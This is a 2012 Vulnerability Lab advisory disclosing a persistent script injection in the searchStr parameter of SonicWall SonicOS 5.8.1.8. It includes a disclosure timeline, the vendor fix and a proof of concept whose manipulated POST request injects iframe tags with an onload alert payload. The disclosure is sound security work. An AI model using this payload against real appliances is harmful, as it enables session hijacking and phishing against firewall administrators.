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SonicWall SonicOS 5.8.1.8 WAF - POST Inject Vulnerability
From: Vulnerability Lab <research () vulnerability-lab com>
Date: Tue, 18 Dec 2012 06:36:20 +0100

Title:
======
SonicWall SonicOS 5.8.1.8 WAF - POST Inject Vulnerability


Date:
=====
2012-12-18


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=769

Sonicwall Bug ID [SBID]: 123995


VL-ID:
=====
769


Common Vulnerability Scoring System:
====================================
3.5


Introduction:
=============
The Dell® SonicWALL® Network Security Appliance (NSA) Series combines the patented Dell SonicWALL Reassembly 
Free Deep Packet Inspection™ (RFDPI) engine with a powerful and massively scalable multi-core architecture to 
deliver intrusion prevention, gateway anti-virus, gateway anti-spyware, and application intelligence and control 
for businesses of all sizes. By integrating automated and dynamic security capabilities into a single platform, 
the NSA Series provides comprehensive Next-Generation Firewall protection without compromising performance. 

(Copy of the Vendor Homepage: http://www.sonicwall.com/us/en/products/NSA_Series.html)


Abstract:
=========
The Vulnerability Laboratory Research Team discovered a web vulnerability in the official DELL Sonicwall SonicOS 
v5.8.1.8 Firewall Series Appliance Application.


Report-Timeline:
================
2012-11-18:     Researcher Notification & Coordination
2012-11-20:     Vendor Notification
2012-11-20:     Vendor Response/Feedback
2012-12-04:     Vendor Fix/Patch (SonicOS 5.8.1.9)
2012-12-18:     Public Disclosure


Status:
========
Published


Affected Products:
==================
DELL
Product: Sonicwall SonicOS v5.8.1.8


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
A persistent POST Injection (input validation) vulnerability is detected in the official DELL Sonicwall SonicOS 
v5.8.1.8 Firewall Series Appliance Application.
The vulnerability typus allows an attacker to inject via POST request own malicious script code in the vulnerable 
module on application side (persistent).

The vulnerability is located in the Firewall > Match Object  > Edit Match Object section when processing to request via 
the `Search > appFirewallObjects` 
module the bound vulnerable [searchStr] application parameter. The persistent injected script code will be executed  
out of the searchstr name listing 
web application context.

The bug can be exploited with a low (restricted) privileged application user account and low required user inter 
action. Successful exploitation of 
the vulnerability result in persistent session hijacking, persistent phishing, external redirect, external malware 
loads and persistent vulnerable 
module context manipulation.

Vulnerable Section(s):
                                [+] Firewall > Match Object  > Edit Match Object

Vulnerable Module(s):
                                [+] Search > appFirewallObjects

Vulnerable Parameter(s):
                                [+] [searchStr] - Name Listing


Proof of Concept:
=================
The persistent post injection vulnerability can be exploited by remote attackers with low privileged application user 
account and 
low required user interaction. For demonstration or reproduce ...


Review: appFirewallObjects > searchStr

csrfToken=benjamin1337
inputxml=<dbInfo><dbInfoRequest><pageId>appFirewallObjects</pageId><tableType>157</tableType><viewType>table</viewType>
<cmd>get</cmd><sort>false</sort><searchStr><[PROVOKE EXCEPTION]>%20%20%20%20"><[PERSISTENT INJECTED SCRIPT CODE!]") 
<</searchStr></dbInfoRequest></dbInfo>


--- POST REQUEST FULL (MANIPULATED!) ---
Host=realtime.pentest.server.com
User-Agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept=application/json, 
text/javascript, */*
Accept-Language=de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding=gzip, deflate
DNT=1
Connection=keep-alive
Content-Type=
application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With=XMLHttpRequest
Referer=https://realtime.pentest.server.com/appFirewallObjects.html?
sortCol=1&sortInverted=0.html
Content-Length=475
Cookie=__utma=31673917.1419029853.1353291737.1353291737.1353374336.2; 
__utmz=31673917.1353374336.2.2.utmcsr=livedemo.sonicwall.com|utmccn=(referral)|utmcmd=referral|

utmcct=/demo/demo.html; 
__utma=227649090.369226766.1353295036.1353295036.1353295036.1; 

__utmz=227649090.1353295036.1.1.utmcsr=esserver.realtime.pentest.server.com|utmccn=(referral)|
utmcmd=referral|utmcct=/settings_branding.html; __utmv=227649090.|1=User%3AUnkown=Unknown=1; s_vi=[CS]v1|

2854D261051D029D-40000106800133DF[CE]; 
__utmb=31673917.32.10.1353374336; __utmc=31673917; s_cc=true; s_sq=%5B%5BB%5D%5D; curUrl=appFirewallObjects.html

%3FsortCol%3D1%26sortInverted%3D0.html; 
curUsr=; 1008=2; 1021=600; 1023=10; 1024=5; 1031=0; 1032=0; 1033=0; 1034=0; 1035=0; 1040=4; 1041=1; 1042=0; 1043=0; 

1044=0; 1045=0; 1022=true; 
1007=applFolder; 2103=appFolderId
Pragma=no-cache
Cache-Control=no-cache
POSTDATA=csrfToken=benjamin1337&inputxml=

%3CdbInfo%3E%3CdbInfoRequest%3E%3CpageId%3E
appFirewallObjects%3C%2FpageId%3E%3CtableType%3E157%3C%2FtableType%3E%3CviewType%3Etable%3C%2FviewType%3E%3Ccmd
%3Eget%3C%2Fcmd%3E%3Csort%3Efalse
%3C%2Fsort%3E%3CsearchStr%3E%3Ciframe+src%3Da%3E%2520%2520%2520%2520%22%3E%3Ciframe+src%3Da+onload%3Dalert(%22VL
%22)+%3C+%3Ciframe+src%3Da%3E
%2520%2520%2520%2520%22%3E%3Ciframe+src%3Da+onload%3Dalert(%22VL%22)+%3C%3C%2FsearchStr%3E%3C%2FdbInfoRequest%3E%3C
%2FdbInfo%3E


Reference(s):
https://firewall.127.0.0.1:31337/dbselect.cgi
https://2400mx.127.0.0.1:31337/dbselect.cgi


Solution:
=========
The vulnerability can be patch by parsing the name listing searchStr web application parameter request.

2012-12-04:     Vendor Fix/Patch - Update or Upgrade your Sonicwall SonicOS v5.8.1.8 to v5.8.1.9 [Customer Area].


Risk:
=====
The secuirty risk of the post injection web vulnerability is estimated as medium.


Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm () vulnerability-lab com)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all 
warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 
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may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack 
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                                        Copyright © 2012 | Vulnerability Laboratory

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LABORATORY RESEARCH TEAM
CONTACT: research () vulnerability-lab com



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